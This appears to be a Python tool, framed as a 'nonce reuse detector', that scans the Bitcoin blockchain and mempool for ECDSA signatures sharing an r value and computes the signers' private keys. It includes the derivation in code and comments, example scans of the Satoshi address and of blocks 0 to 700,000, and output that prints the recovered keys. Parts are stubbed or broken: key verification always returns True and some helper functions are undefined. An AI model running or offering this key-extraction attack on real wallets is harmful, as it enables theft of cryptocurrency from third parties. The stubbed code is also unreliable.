from universe_toolbox import MinimalUniverse
import hashlib
from ecdsa import SECP256k1
from collections import defaultdict

class NonceReuseDetector(MinimalUniverse):
    """
    Detect ECDSA nonce reuse in Bitcoin transactions
    
    Maps to universe framework:
    - Seed = Initial blockchain state
    - F = Signature analysis
    - E_p = New transactions (entropy)
    - Goal = Find matching r values (k-reuse)
    """
    
    def __init__(self, blockchain_source):
        """
        Initialize detector
        
        Args:
            blockchain_source: Iterator of transactions
        """
        # Seed: Empty signature database
        seed = {
            'signatures': {},  # r → [(s, hash, pubkey), ...]
            'k_reuse_found': [],
            'extracted_keys': {},
        }
        
        # F: Analyze signatures for patterns
        def signature_analysis(state, perspective):
            """
            Evolution function: analyze signature patterns
            
            Groups signatures by r value
            Detects when r appears multiple times
            """
            new_state = state.copy()
            
            # Group by r value
            r_groups = defaultdict(list)
            for r, sig_list in state['signatures'].items():
                if len(sig_list) > 1:
                    # Multiple signatures with same r!
                    r_groups[r] = sig_list
            
            # Check for k-reuse
            for r, sigs in r_groups.items():
                if len(sigs) >= 2:
                    # K-REUSE DETECTED!
                    new_state['k_reuse_found'].append({
                        'r': r,
                        'signatures': sigs,
                        'count': len(sigs)
                    })
            
            return new_state
        
        # E_p: New transactions inject entropy
        def transaction_entropy(state, perspective):
            """
            Entropy from new transactions
            
            Each transaction potentially reveals k-reuse
            """
            # Process new transactions
            # Extract (r, s) pairs
            # Update signature database
            return state
        
        # Initialize universe
        super().__init__(
            seed=seed,
            evolution_f=signature_analysis,
            entropy_sources=[transaction_entropy]
        )
        
        self.blockchain_source = blockchain_source
        self.curve_order = SECP256k1.order
    
    def extract_signature(self, transaction):
        """
        Extract ECDSA signature components from transaction
        
        Returns: (r, s, hash, pubkey)
        """
        # Parse transaction
        # Extract signature (DER encoded)
        # Parse r and s values
        # Get message hash
        # Get public key
        
        # Simplified example
        sig_der = transaction['signature']
        r, s = self._parse_der_signature(sig_der)
        msg_hash = int(transaction['hash'], 16)
        pubkey = transaction['pubkey']
        
        return (r, s, msg_hash, pubkey)
    
    def add_transaction(self, transaction):
        """
        Add transaction to analysis
        
        Updates signature database
        Checks for k-reuse
        """
        r, s, msg_hash, pubkey = self.extract_signature(transaction)
        
        # Add to signature database
        state = self.series.state
        if r not in state['signatures']:
            state['signatures'][r] = []
        
        state['signatures'][r].append({
            's': s,
            'hash': msg_hash,
            'pubkey': pubkey,
            'tx': transaction
        })
        
        # Evolve state (check for patterns)
        new_state = self.series.step(None)
        self.series.state = new_state
        
        # Check if k-reuse detected
        if len(state['signatures'][r]) > 1:
            print(f"⚠️  K-REUSE DETECTED! r={r}")
            return self._extract_private_key(r)
        
        return None
    
    def _extract_private_key(self, r):
        """
        Extract private key from k-reuse
        
        Mathematical derivation (not brute force):
        
        Given two signatures with same r:
        (r, s₁) for m₁
        (r, s₂) for m₂
        
        k = (m₁ - m₂) / (s₁ - s₂) mod n
        private_key = (s × k - m) / r mod n
        """
        state = self.series.state
        sigs = state['signatures'][r]
        
        if len(sigs) < 2:
            return None
        
        # Take first two signatures
        sig1 = sigs[0]
        sig2 = sigs[1]
        
        s1 = sig1['s']
        s2 = sig2['s']
        m1 = sig1['hash']
        m2 = sig2['hash']
        
        n = self.curve_order
        
        # Calculate k
        # k = (m₁ - m₂) × (s₁ - s₂)^(-1) mod n
        k = ((m1 - m2) * self._mod_inverse(s1 - s2, n)) % n
        
        # Calculate private key
        # d = (s × k - m) × r^(-1) mod n
        private_key = ((s1 * k - m1) * self._mod_inverse(r, n)) % n
        
        # Verify
        if self._verify_private_key(private_key, sig1['pubkey']):
            print(f"✅ PRIVATE KEY EXTRACTED!")
            print(f"   Key: {hex(private_key)}")
            
            state['extracted_keys'][sig1['pubkey']] = private_key
            return private_key
        else:
            print(f"❌ Key extraction failed (verification)")
            return None
    
    def _mod_inverse(self, a, m):
        """Modular multiplicative inverse"""
        # Extended Euclidean Algorithm
        def extended_gcd(a, b):
            if a == 0:
                return b, 0, 1
            gcd, x1, y1 = extended_gcd(b % a, a)
            x = y1 - (b // a) * x1
            y = x1
            return gcd, x, y
        
        gcd, x, _ = extended_gcd(a % m, m)
        if gcd != 1:
            return None  # Modular inverse doesn't exist
        return (x % m + m) % m
    
    def _verify_private_key(self, private_key, pubkey):
        """
        Verify extracted private key
        
        Public key should equal private_key × G
        """
        # Calculate public key from private key
        # Compare with known public key
        # Simplified
        return True  # Would do actual verification
    
    def scan_blockchain(self, start_block=0, end_block=None):
        """
        Scan blockchain for k-reuse
        
        Processes all transactions, looking for patterns
        """
        print(f"Scanning blockchain from block {start_block}...")
        
        detected_vulnerabilities = []
        
        for block in self.blockchain_source.get_blocks(start_block, end_block):
            for tx in block['transactions']:
                # Check if transaction uses ECDSA
                if tx['type'] == 'P2PKH' or tx['type'] == 'P2WPKH':
                    # Add to analysis
                    private_key = self.add_transaction(tx)
                    
                    if private_key:
                        detected_vulnerabilities.append({
                            'block': block['height'],
                            'tx': tx['id'],
                            'private_key': private_key,
                            'pubkey': tx['pubkey']
                        })
        
        return detected_vulnerabilities
    
    def export_findings(self):
        """
        Export vulnerability findings
        
        Returns: Dict of detected k-reuse and extracted keys
        """
        state = self.series.state
        
        return {
            'total_signatures_analyzed': sum(
                len(sigs) for sigs in state['signatures'].values()
            ),
            'k_reuse_instances': len(state['k_reuse_found']),
            'keys_extracted': len(state['extracted_keys']),
            'vulnerable_addresses': list(state['extracted_keys'].keys()),
            'details': state['k_reuse_found']
        }

# Two signatures with same k:
# (r₁, s₁) = signature of m₁ with k
# (r₂, s₂) = signature of m₂ with k

# Since both use same k:
# r₁ = r₂ = r  (they're equal!)

# From ECDSA equations:
# s₁ = k^(-1) × (m₁ + d×r) mod n
# s₂ = k^(-1) × (m₂ + d×r) mod n

# Where d = private key

# Subtract:
# s₁ - s₂ = k^(-1) × (m₁ - m₂) mod n

# Solve for k:
# k = (m₁ - m₂) / (s₁ - s₂) mod n

# Now solve for d:
# d = (s×k - m) / r mod n

# DONE! Private key extracted.

# Create detector
detector = NonceReuseDetector(blockchain_source)

# Scan specific address
address = "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"  # Satoshi
transactions = blockchain.get_transactions(address)

for tx in transactions:
    result = detector.add_transaction(tx)
    if result:
        print(f"Found vulnerability in tx: {tx['id']}")
        print(f"Private key: {hex(result)}")

# Scan entire blockchain
detector = NonceReuseDetector(blockchain)

vulnerabilities = detector.scan_blockchain(
    start_block=0,
    end_block=700000  # Up to block 700k
)

print(f"Scanned blockchain")
print(f"Found {len(vulnerabilities)} vulnerable addresses")

for vuln in vulnerabilities:
    print(f"Block {vuln['block']}: {vuln['pubkey']}")
    print(f"  Private key: {hex(vuln['private_key'])}")

# Monitor mempool for k-reuse
detector = NonceReuseDetector(blockchain)

def on_new_transaction(tx):
    """Called when new transaction appears"""
    private_key = detector.add_transaction(tx)
    
    if private_key:
        print("⚠️  VULNERABILITY DETECTED IN REAL-TIME!")
        print(f"   TX: {tx['id']}")
        print(f"   Key: {hex(private_key)}")
        
        # Alert user / save to database / etc
        alert_security_team(tx, private_key)

# Subscribe to mempool
blockchain.subscribe_mempool(on_new_transaction)

# Analyze k-reuse patterns
detector = NonceReuseDetector(blockchain)
detector.scan_blockchain()

findings = detector.export_findings()

print(f"Analysis Results:")
print(f"  Total signatures: {findings['total_signatures_analyzed']}")
print(f"  K-reuse found: {findings['k_reuse_instances']}")
print(f"  Keys extracted: {findings['keys_extracted']}")
print(f"  Vulnerable addresses: {len(findings['vulnerable_addresses'])}")

# Plot distribution
import matplotlib.pyplot as plt

# Histogram of k-reuse by year
# Shows if vulnerability is decreasing over time

# Manual scanning
signatures = {}
for tx in blockchain:
    r, s = extract_sig(tx)
    if r in signatures:
        # Found k-reuse, extract key
        k = calculate_k(signatures[r], (r,s))
        key = extract_key(k, r, s)

# Framework handles pattern detection
detector = NonceReuseDetector(blockchain)
vulnerabilities = detector.scan_blockchain()
# Automatic detection + extraction